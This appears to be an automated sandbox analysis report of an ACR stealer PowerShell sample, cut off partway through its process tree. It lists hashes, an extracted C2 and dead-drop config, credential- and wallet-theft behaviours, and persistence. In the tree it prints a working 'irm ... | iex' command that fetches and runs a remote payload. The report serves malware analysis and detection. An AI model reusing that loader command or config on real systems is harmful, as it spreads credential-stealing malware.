acrstealer | 37a14cae1bbd8bafef6fa39387e0c75f33d0b72ec40690cea06635826add3def

Analysis

max time kernel
148s
max time network
145s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/09/2026, 12:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
hfgd645j.ps1
Size 93KB
Sample260924-pf91esdf79
SHA256 37a14cae1bbd8bafef6fa39387e0c75f33d0b72ec40690cea06635826add3def
MD5 336377c5d13e24ee70e6b61dbdd1a7cf
SHA1 f671c45a34f1a230d2c858736bbe79021b282cab
SHA512 6f1cef48b6b96d0400dcdccd4c994def67dc91c504e2562f1a69fb10e6bcc6d890e398431fafd86b3f70703ca14b430ef79a85dc5eb22f9254c39c02f9b3af1f
SSDEEP 1536:be1FJGsdpjk0oNuPtgtQCTpnF9Q90adz4zcpNpfO+GL1jfrwNdj9/qSw7ieYi:bkF8spjPyuP+JpF9Q9Pz4zWOL1jfUnNu
TLSH
T1EF9323053B8C95E010CDDDBE0FC06CA956AEE072D3DADC9C66CF5A84AB43AFA459C474
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution acrstealer persistence privilege_escalation spyware stealer

Malware Config

Extracted

Family

acrstealer

Version

4.4.2-alpha1

media.hazelnook.cc

Decoy

fastly.net

Attributes

ddrs
https://telegra.ph/C-Introduction-08-21
guids
f1575b64-8492-4e8b-b102-4d26e8c70371

019fd84c-02e7-7a67-9097-4f73d632de4a
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36

xor.hex

Signatures

Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
stealer acrstealer

Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 3 IoCs

defense_evasion privilege_escalation

Parent PID Spoofing

T1134.004

description	pid	Process	procid_target
PID 3312 created 5952	3312	rundll32.exe	81
PID 3312 created 5952	3312	rundll32.exe	81
PID 3312 created 5952	3312	rundll32.exe	81

Badlisted process makes network request 9 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4680	powershell.exe
3	4680	powershell.exe
4	3312	rundll32.exe
5	3312	rundll32.exe
160	3312	rundll32.exe
161	3312	rundll32.exe
162	3312	rundll32.exe
163	3312	rundll32.exe
164	2796	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
1104	AutoIt3.exe
1848	AutoIt3.exe
5320	RegAsm.exe
3764	RegAsm.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeAutoLaunch_11E9365CAE7D306ED3CD56E1B0DA0412 = "\"C:\\Users\\Admin\\AppData\\Roaming\\0211787d726a\\AutoIt3.exe\" \"C:\\Users\\Admin\\AppData\\Roaming\\0211787d726a\\Fabrics.a3x\""	powershell.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2816	PowerShell.exe
2796	powershell.exe
4680	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
3	raw.githubusercontent.com

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1104 set thread context of 5320	1104	AutoIt3.exe	164
PID 1848 set thread context of 3764	1848	AutoIt3.exe	165

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3376	chrome.exe
4844	msedge.exe

Checks processor information in registry 2 TTPs 19 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 10 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134347261181778827"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4280978039-528710165-233981602-1000\{83D0499C-3BC4-4EFE-B5E6-6B98AE22A687}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2816	PowerShell.exe
2816	PowerShell.exe
4680	powershell.exe
4680	powershell.exe
4680	powershell.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe

Suspicious behavior: MapViewOfSection 1 TTPs 3 IoCs

defense_evasion privilege_escalation

Process Injection

T1055

pid	Process
3312	rundll32.exe
3312	rundll32.exe
3312	rundll32.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs

pid	Process
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
1460	msedge.exe
1460	msedge.exe
1460	msedge.exe
1460	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2816	PowerShell.exe
Token: SeDebugPrivilege	4680	powershell.exe
Token: SeShutdownPrivilege	604	chrome.exe
Token: SeCreatePagefilePrivilege	604	chrome.exe
Token: SeShutdownPrivilege	604	chrome.exe
Token: SeCreatePagefilePrivilege	604	chrome.exe
Token: SeShutdownPrivilege	604	chrome.exe
Token: SeCreatePagefilePrivilege	604	chrome.exe
Token: SeShutdownPrivilege	604	chrome.exe
Token: SeCreatePagefilePrivilege	604	chrome.exe
Token: SeShutdownPrivilege	604	chrome.exe
Token: SeCreatePagefilePrivilege	604	chrome.exe
Token: SeShutdownPrivilege	604	chrome.exe
Token: SeCreatePagefilePrivilege	604	chrome.exe
Token: SeShutdownPrivilege	604	chrome.exe
Token: SeCreatePagefilePrivilege	604	chrome.exe
Token: SeShutdownPrivilege	604	chrome.exe
Token: SeCreatePagefilePrivilege	604	chrome.exe
Token: SeShutdownPrivilege	604	chrome.exe
Token: SeCreatePagefilePrivilege	604	chrome.exe
Token: SeShutdownPrivilege	604	chrome.exe
Token: SeCreatePagefilePrivilege	604	chrome.exe
Token: SeShutdownPrivilege	604	chrome.exe
Token: SeCreatePagefilePrivilege	604	chrome.exe
Token: SeShutdownPrivilege	604	chrome.exe
Token: SeCreatePagefilePrivilege	604	chrome.exe
Token: SeShutdownPrivilege	604	chrome.exe
Token: SeCreatePagefilePrivilege	604	chrome.exe
Token: SeShutdownPrivilege	604	chrome.exe
Token: SeCreatePagefilePrivilege	604	chrome.exe
Token: SeDebugPrivilege	2796	powershell.exe
Token: SeIncreaseQuotaPrivilege	2796	powershell.exe
Token: SeSecurityPrivilege	2796	powershell.exe
Token: SeTakeOwnershipPrivilege	2796	powershell.exe
Token: SeLoadDriverPrivilege	2796	powershell.exe
Token: SeSystemProfilePrivilege	2796	powershell.exe
Token: SeSystemtimePrivilege	2796	powershell.exe
Token: SeProfSingleProcessPrivilege	2796	powershell.exe
Token: SeIncBasePriorityPrivilege	2796	powershell.exe
Token: SeCreatePagefilePrivilege	2796	powershell.exe
Token: SeBackupPrivilege	2796	powershell.exe
Token: SeRestorePrivilege	2796	powershell.exe
Token: SeShutdownPrivilege	2796	powershell.exe
Token: SeDebugPrivilege	2796	powershell.exe
Token: SeSystemEnvironmentPrivilege	2796	powershell.exe
Token: SeRemoteShutdownPrivilege	2796	powershell.exe
Token: SeUndockPrivilege	2796	powershell.exe
Token: SeManageVolumePrivilege	2796	powershell.exe
Token: 33	2796	powershell.exe
Token: 34	2796	powershell.exe
Token: 35	2796	powershell.exe
Token: 36	2796	powershell.exe
Token: SeIncreaseQuotaPrivilege	2796	powershell.exe
Token: SeSecurityPrivilege	2796	powershell.exe
Token: SeTakeOwnershipPrivilege	2796	powershell.exe
Token: SeLoadDriverPrivilege	2796	powershell.exe
Token: SeSystemProfilePrivilege	2796	powershell.exe
Token: SeSystemtimePrivilege	2796	powershell.exe
Token: SeProfSingleProcessPrivilege	2796	powershell.exe
Token: SeIncBasePriorityPrivilege	2796	powershell.exe
Token: SeCreatePagefilePrivilege	2796	powershell.exe
Token: SeBackupPrivilege	2796	powershell.exe
Token: SeRestorePrivilege	2796	powershell.exe
Token: SeShutdownPrivilege	2796	powershell.exe

Suspicious use of FindShellTrayWindow 42 IoCs

pid	Process
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
604	chrome.exe
1460	msedge.exe
3140	firefox.exe
1104	AutoIt3.exe
1104	AutoIt3.exe
1104	AutoIt3.exe
1848	AutoIt3.exe
1848	AutoIt3.exe
1848	AutoIt3.exe

Suspicious use of SendNotifyMessage 6 IoCs

pid	Process
1104	AutoIt3.exe
1104	AutoIt3.exe
1104	AutoIt3.exe
1848	AutoIt3.exe
1848	AutoIt3.exe
1848	AutoIt3.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2816 wrote to memory of 3188	2816	PowerShell.exe	90
PID 3188 wrote to memory of 4352	3188	csc.exe	91
PID 2816 wrote to memory of 1756	2816	PowerShell.exe	92
PID 1756 wrote to memory of 3624	1756	csc.exe	93
PID 2816 wrote to memory of 4680	2816	PowerShell.exe	94
PID 4680 wrote to memory of 3312	4680	powershell.exe	96
PID 4680 wrote to memory of 3312	4680	powershell.exe	96
PID 3312 wrote to memory of 604	3312	rundll32.exe	97
PID 604 wrote to memory of 6084	604	chrome.exe	98
PID 604 wrote to memory of 4684	604	chrome.exe	99
PID 604 wrote to memory of 3376	604	chrome.exe	100
PID 604 wrote to memory of 4684	604	chrome.exe	99
PID 604 wrote to memory of 5356	604	chrome.exe	101
PID 604 wrote to memory of 5356	604	chrome.exe	101
PID 604 wrote to memory of 4556	604	chrome.exe	103
PID 604 wrote to memory of 4556	604	chrome.exe	103
PID 604 wrote to memory of 1104	604	chrome.exe	104
PID 604 wrote to memory of 1104	604	chrome.exe	104
PID 604 wrote to memory of 3940	604	chrome.exe	105
PID 604 wrote to memory of 3940	604	chrome.exe	105
PID 604 wrote to memory of 3756	604	chrome.exe	106
PID 604 wrote to memory of 3756	604	chrome.exe	106
PID 604 wrote to memory of 1560	604	chrome.exe	108
PID 604 wrote to memory of 3120	604	chrome.exe	110
PID 604 wrote to memory of 1508	604	chrome.exe	111
PID 604 wrote to memory of 3120	604	chrome.exe	110
PID 604 wrote to memory of 1508	604	chrome.exe	111
PID 604 wrote to memory of 5452	604	chrome.exe	113
PID 604 wrote to memory of 4824	604	chrome.exe	114
PID 604 wrote to memory of 5864	604	chrome.exe	115
PID 604 wrote to memory of 5452	604	chrome.exe	113
PID 604 wrote to memory of 4824	604	chrome.exe	114
PID 604 wrote to memory of 5864	604	chrome.exe	115
PID 604 wrote to memory of 1444	604	chrome.exe	117
PID 604 wrote to memory of 1444	604	chrome.exe	117
PID 604 wrote to memory of 5140	604	chrome.exe	118
PID 604 wrote to memory of 5140	604	chrome.exe	118
PID 604 wrote to memory of 4200	604	chrome.exe	119
PID 604 wrote to memory of 4200	604	chrome.exe	119
PID 604 wrote to memory of 4360	604	chrome.exe	120
PID 604 wrote to memory of 4360	604	chrome.exe	120
PID 604 wrote to memory of 6000	604	chrome.exe	121
PID 604 wrote to memory of 6000	604	chrome.exe	121
PID 604 wrote to memory of 5940	604	chrome.exe	122
PID 604 wrote to memory of 5940	604	chrome.exe	122
PID 604 wrote to memory of 5064	604	chrome.exe	123
PID 604 wrote to memory of 5064	604	chrome.exe	123
PID 604 wrote to memory of 5328	604	chrome.exe	124
PID 604 wrote to memory of 5328	604	chrome.exe	124
PID 3312 wrote to memory of 1460	3312	rundll32.exe	125
PID 1460 wrote to memory of 3912	1460	msedge.exe	126
PID 1460 wrote to memory of 4900	1460	msedge.exe	127
PID 1460 wrote to memory of 4844	1460	msedge.exe	128
PID 1460 wrote to memory of 4900	1460	msedge.exe	127
PID 1460 wrote to memory of 4900	1460	msedge.exe	127
PID 1460 wrote to memory of 5244	1460	msedge.exe	129
PID 1460 wrote to memory of 5244	1460	msedge.exe	129
PID 1460 wrote to memory of 5112	1460	msedge.exe	131
PID 1460 wrote to memory of 948	1460	msedge.exe	132
PID 1460 wrote to memory of 5112	1460	msedge.exe	131
PID 1460 wrote to memory of 5112	1460	msedge.exe	131
PID 1460 wrote to memory of 948	1460	msedge.exe	132
PID 1460 wrote to memory of 948	1460	msedge.exe	132
PID 1460 wrote to memory of 1620	1460	msedge.exe	133

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\explorer.exe
explorer.exe /LOADSAVEDWINDOWS
1⤵
PID:5952
- C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
  powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\hfgd645j.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2816
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ob2vq5hg\ob2vq5hg.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3188
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4A6D.tmp" "c:\Users\Admin\AppData\Local\Temp\ob2vq5hg\CSCC377BF0B187143C18D913A3914DA4E87.TMP"
      4⤵
      PID:4352
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\igwdxavq\igwdxavq.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1756
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4B86.tmp" "c:\Users\Admin\AppData\Local\Temp\igwdxavq\CSC3AFF4C55C45C4A548F33BA62DCE5ECC.TMP"
      4⤵
      PID:3624
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; irm https://rawcdn.githack.com/retwiry2536/djhgrgfd375654/refs/heads/main/6477563etr | iex
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4680
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\SysWOW64\rundll32.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Badlisted process makes network request
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:3312
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\5c039fJDaMf9H1Es\5c039fD76j2XQMzX.ps1"
        5⤵
        Badlisted process makes network request
        Adds Run key to start application
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2796
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\w1ybn3po\w1ybn3po.cmdline"
        6⤵
        
        PID:5676
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4DD3.tmp" "c:\Users\Admin\AppData\Local\Temp\w1ybn3po\CSC8878CA7D3CDC488E94045ABF5105530.TMP"
        7⤵
        
        PID:1560
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nt1hvvmv\nt1hvvmv.cmdline"
        6⤵
        
        PID:1288
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5034.tmp" "c:\Users\Admin\AppData\Local\Temp\nt1hvvmv\CSCBBAE0FBBAD964F8792422693FB5B63A.TMP"
        7⤵
        
        PID:4860
    - - C:\Windows\SysWOW64\dllhost.exe
        
        "C:\Windows\SysWOW64\dllhost.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5232
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:604
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff89f30c728,0x7ff89f30c734,0x7ff89f30c740
    3⤵
    PID:6084
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1624,i,12378436107485850199,10190698499645154225,262144 --field-trial-handle=2084,i,8189704504607545715,11732369358667876345,262144 --variations-seed-version --mojo-platform-channel-handle=2080 /prefetch:2
    3⤵
    PID:4684
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1484,i,10362932211542594453,9446419626627616610,524288 --field-trial-handle=2084,i,8189704504607545715,11732369358667876345,262144 --variations-seed-version --mojo-platform-channel-handle=2116 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3376
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2220,i,15022492305783972714,3518987922630950967,524288 --field-trial-handle=2084,i,8189704504607545715,11732369358667876345,262144 --variations-seed-version --mojo-platform-channel-handle=2800 /prefetch:13
    3⤵
    PID:5356
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3204,i,5656872015781005958,16367868512395960930,2097152 --field-trial-handle=2084,i,8189704504607545715,11732369358667876345,262144 --variations-seed-version --mojo-platform-channel-handle=3228 /prefetch:1
    3⤵
    PID:4556
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3208,i,4880371782023182233,3671300750969616592,2097152 --field-trial-handle=2084,i,8189704504607545715,11732369358667876345,262144 --variations-seed-version --mojo-platform-channel-handle=3248 /prefetch:1
    3⤵
    PID:1104
- - C:\Program Files\Google\Chrome\Application\chrome.exe
